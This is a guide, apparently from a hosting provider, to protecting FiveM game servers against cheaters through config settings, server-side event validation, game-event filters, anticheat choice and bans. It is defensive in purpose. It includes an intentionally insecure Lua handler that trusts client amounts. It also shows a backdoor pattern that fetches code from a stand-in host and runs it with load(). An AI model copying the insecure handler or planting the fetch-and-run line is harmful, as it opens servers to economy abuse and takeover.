FiveM anticheat: what actually works

Most damage cheaters do to a FiveM server does not need a clever cheat. It needs a server event that trusts whatever the client sends - give me money, give me this item, set my job - and a server that lets clients spawn whatever entities they like. Fix those two things first: set sv_entityLockdown, validate every server event on the server, and filter the game events that cheat menus abuse. A paid anticheat is a detection layer on top of that, worth having on a busy public server and worthless on an insecure one. This guide goes through the layers in the order that gives the most protection for the least effort, what each anticheat category can and cannot do, and how to make bans stick.

Where cheating actually hurts#

It helps to separate what a cheat menu can do on its own from what your server lets it do.

On the client, a cheat can do anything the game can: teleport, fly, see through walls, aim for the player, spawn vehicles and props locally. Some of that only affects the cheater's own screen. Some of it - spawned entities, explosions, attached props - is sent to the server as game events and shown to everybody unless the server refuses it.

On the server, a cheat can only call what your resources expose. Every RegisterNetEvent handler is a function any connected client can call with any arguments it likes, at any rate. If a resource has a server event that pays out the reward for a job and checks nothing, a cheater calls it a thousand times and your economy is gone in a minute. No anticheat can fully fix that, because from the server's point of view the call looks exactly like a legitimate one.

Layer 1: the config lines#

These cost nothing and close the widest doors:

set sv_entityLockdown "relaxed"sv_scriptHookAllowed 0sv_pureLevel 1set sv_endpointPrivacy true

sv_entityLockdown is the most important. It defaults to inactive, where any client may create any entity. relaxed blocks entities created by client scripts, which is what cheat menus use, while leaving ambient traffic alone. strict blocks all client-created entities, so every vehicle must be created by the server. It requires OneSync, and it will break resources that spawn things client-side - which is a list of resources worth updating anyway. OneSync and player slots covers the modes and the server-side creation pattern that works under them.

sv_scriptHookAllowed 0 refuses clients running ScriptHookV menus. sv_pureLevel refuses modified game files: 1 blocks most of them, 2 also blocks graphics mods and will turn away innocent players with a visual pack. It is a filter on lazy cheats, not an anticheat. sv_endpointPrivacy keeps player IP addresses out of public output, which matters when someone wants to attack a streamer on your server.

Recent server builds also have convars that control which network requests and game features clients may trigger on others, such as sv_filterRequestControl, which limits clients taking control of entities owned by other players. The available levels have changed between builds, so read the current Cfx.re documentation before setting one. The rest of the file is in FiveM server.cfg explained.

Layer 2: server events that check their input#

This is where most real damage happens, and where no product can save you. The rule is simple: the server decides what happened, the client only asks.

A typical vulnerable handler:

-- server side: trusts everything the client sendsRegisterNetEvent("fishing:sell", function(amount, price)    local xPlayer = ESX.GetPlayerFromId(source)    xPlayer.addMoney(amount * price)end)

A cheater triggers fishing:sell with amount = 100000. The same handler written properly:

local lastSell = {}RegisterNetEvent("fishing:sell", function()    local src = source    local xPlayer = ESX.GetPlayerFromId(src)    if not xPlayer then return end    -- rate limit: one sale per 5 seconds per player    local now = os.time()    if lastSell[src] and now - lastSell[src] < 5 then return end    lastSell[src] = now    -- must be standing at the fish market    local coords = GetEntityCoords(GetPlayerPed(src))    if #(coords - vector3(-1845.0, -1195.0, 14.3)) > 10.0 then return end    -- the server counts the fish and sets the price    local fish = xPlayer.getInventoryItem("fish").count    if fish < 1 then return end    xPlayer.removeInventoryItem("fish", fish)    xPlayer.addMoney(fish * Config.FishPrice)end)

The principles generalise to every event:

• Use `source`, never a player ID passed as an argument. source is set by the server and cannot be forged. An argument naming a target player can.
• Compute amounts on the server. The client says "I want to sell my fish"; the server counts the fish and knows the price.
• Check position. With OneSync, GetEntityCoords(GetPlayerPed(source)) works on the server. An event that only makes sense at a location should check the player is there.
• Check state. Job, on-duty status, item ownership, whether the job step the reward is for was actually started on the server.
• Rate limit. Remember when each player last triggered it.
• Log failures. A rejected call with impossible arguments is a cheater, and a log line is evidence.

Event "tokens" and randomised event names, sold as protection by some resources, are obfuscation. A cheat that reads the client's memory reads the token too. They raise the effort slightly and do not replace validation.

The work is in auditing resources you did not write. Read every RegisterNetEvent on the server side of each resource and ask what happens if a client calls it with nonsense. Framework resources from well-maintained projects are usually fine; the free job script from a forum is where the problems live. Choosing a framework covers which ecosystems take this seriously.

Layer 3: filtering game events#

Some actions are not your resources' events but game events the server forwards between clients: explosions, damage, weapon changes, particle effects, entity creation. FXServer lets server scripts inspect and cancel them.

-- server sideAddEventHandler("explosionEvent", function(sender, ev)    -- block every explosion type not caused by normal gameplay you allow    if not AllowedExplosions[ev.explosionType] then        CancelEvent()        print(("blocked explosion type %d from %s"):format(ev.explosionType, sender))    endend)AddEventHandler("entityCreating", function(handle)    if BlockedModels[GetEntityModel(handle)] then        CancelEvent()    endend)

Every one of these has legitimate uses in normal play, so the work is building allow lists rather than blocking the event wholesale. A roleplay server with no explosives job can block most explosion types outright. giveWeaponEvent from a client to another player has almost no legitimate use on a framework server where weapons come from the inventory. Log what you block for a week before turning it into kicks, or you will ban your own mechanics job.

Layer 4: detection, and choosing an anticheat#

Client-side cheats - aimbot, ESP, noclip, menus that only touch the cheater's own game - can only be caught on the client. Cfx.re's client has its own protections and issues global bans for known cheats, which you get for free and cannot configure. Beyond that, the options are:

Free resource anticheats. Mostly lists of known cheat event names and blacklisted models, with some server-side checks. Useful as a starting point; easy to bypass because their logic is public.

Paid anticheats. Products such as FiveGuard, ElectronAC and WaveShield combine a client component with server-side heuristics, maintained against current cheat menus. The market changes quickly and names come and go, so judge them on these points rather than on reputation alone:

• False positives. Ask how detections are reviewed before bans. An anticheat that bans a regular for a lag spike costs you more than a cheater does.
• Performance. Measure it with resmon 1 and the server profiler after installing. Some cost more client frame time than everything else combined. FiveM server performance shows how.
• Trust. An anticheat runs with the same rights as every other resource on your server, usually escrowed so you cannot read it. You are trusting the vendor with your database credentials and your players' data.
• Support and longevity. A paid product whose author vanishes stops detecting new menus within weeks.

Run one anticheat, not two. Two products hooking the same events fight each other and double the false positives.

Layer 5: bans that stick#

A ban on one identifier is avoided with a new account. txAdmin records every identifier a player connects with - license, discord, steam when a Steam Web API key is set, xbl, live, IP - plus the hardware tokens FXServer exposes through GetPlayerToken, and its bans match on all of them. Use txAdmin's bans, or an anticheat that feeds into them, rather than a framework's own ban table that only stores a licence.

Two practical points. Keep ban reasons specific and attach evidence (a clip, a log line), because appeals are part of moderation and server rules, moderation and staff is the side of this that is about people. And restrict who can ban: staff who can ban can also unban their friends. Give moderators the txAdmin permissions they need and no more - the same principle as subusers and least privilege on the panel side.

The backdoor problem#

The most damaging "cheater" on a FiveM server is often already installed. Leaked paid resources - downloaded from sites that redistribute escrowed scripts - routinely carry backdoors: a few lines that fetch code from a remote address and run it with full server rights. The pattern looks like this:

PerformHttpRequest("https://example.invalid/x", function(_, body)    load(body)()end)

Search every resource for PerformHttpRequest combined with load, and for long obfuscated strings in files that have no reason to contain them. A backdoored server can have admin given to strangers, the database dumped, or the licence key stolen, and no anticheat will see it because it is a resource you started yourself. The general method is in keeping a modded server clean, and if you find one, what to do when your server is hacked is the order to work in: contain, rotate every credential, restore, then find the door.

Logging, evidence and a first-week plan#

Protection you cannot see working is protection you will switch off the first time a regular complains. Every layer above should leave a trace you can read later.

• Log rejected server events. When a validation check fails, write the player, the event, the arguments and the reason. One line per rejection is enough. A player with three rejected sell events in a minute, each claiming a hundred thousand fish, needs no further investigation.
• Log blocked game events. Explosions, entity creations and weapon gives your filters cancelled, with the sender. Read the first week of these before turning any of them into automatic kicks.
• Send the serious ones somewhere people look. A Discord channel for staff, fed by a webhook, is the usual choice; Discord webhooks for server status covers the mechanics. Keep it to the events that need a human, or staff will mute the channel within a week.
• Keep the console output. txAdmin keeps a log of admin actions and player history, and the server console shows what resources printed. When an appeal arrives two weeks later, logs are the only memory you have; logs worth keeping is about which ones.

Evidence also protects your staff. A ban backed by a log line and a timestamp is a decision anyone can review. A ban backed by "he was obviously cheating" is an argument.

A first-week checklist for a new server

1. Set sv_entityLockdown to relaxed, sv_scriptHookAllowed 0, and enable OneSync if it is not already on.
2. List every server event in every resource you did not write. Mark the ones that give money, items, jobs or permissions.
3. Fix or replace each marked event that takes an amount, a target or a price from the client.
4. Add game event handlers for explosions and weapon gives, logging only.
5. Read a week of logs, then turn the obvious ones into blocks.
6. Decide on a detection anticheat, measure its cost, and keep it only if the numbers are acceptable.
7. Make sure bans go through txAdmin so they cover every identifier.

After an exploit: rolling back#

When someone does get money or items through a hole, the server keeps running and the damage spreads through trades. The cleanest recovery is a database restore to before the exploit, plus a fix for the event. That only works if you have a recent backup and know it restores.

On RE:NODE, backups are taken on demand or on a schedule from the panel, stored off the machine, and restored with a button; a backup can be locked so rotation does not delete the copy from before an incident. Subusers can be given console-only or files-only access, every server has its own SFTP credentials, and there is an activity log per server, which helps when the question is who changed what. Attacks on the network itself are a different matter from cheating - what we do about attacks is honest about what upstream filtering does and does not catch.

FAQ#

What is the best anticheat for FiveM?

There is no single answer, and the ranking changes as cheat developers move. The best protection is entity lockdown plus server events that validate their input. On top of that, choose a maintained paid anticheat by its false positive handling, performance cost and support, and test it on your own server before trusting it.

Does sv_entityLockdown stop all cheaters?

No. It stops clients creating entities, which removes vehicle and prop spawning, the most visible abuse. It does nothing about aimbots, teleporting, or server events that hand out money.

Can cheaters give themselves money on my server?

Only if a resource lets them. Money comes from server events; if one accepts an amount from the client without checking it, cheaters will find it. Audit the server side of every resource that pays out.

Are event tokens enough to secure server events?

No. They make events harder to call by hand, but a cheat that reads the client's memory can read the token. Validation on the server is what makes an event safe.

How do I stop banned cheaters coming back?

Ban on every identifier and hardware token, which txAdmin does by default. Nothing makes evasion impossible, but bans that match on many identifiers make it slow and expensive.

Can an anticheat slow my server down?

Yes. Measure it with resmon on a client and the profiler on the server after installing. A product that adds noticeable frame time on every client is protecting the server at the players' expense.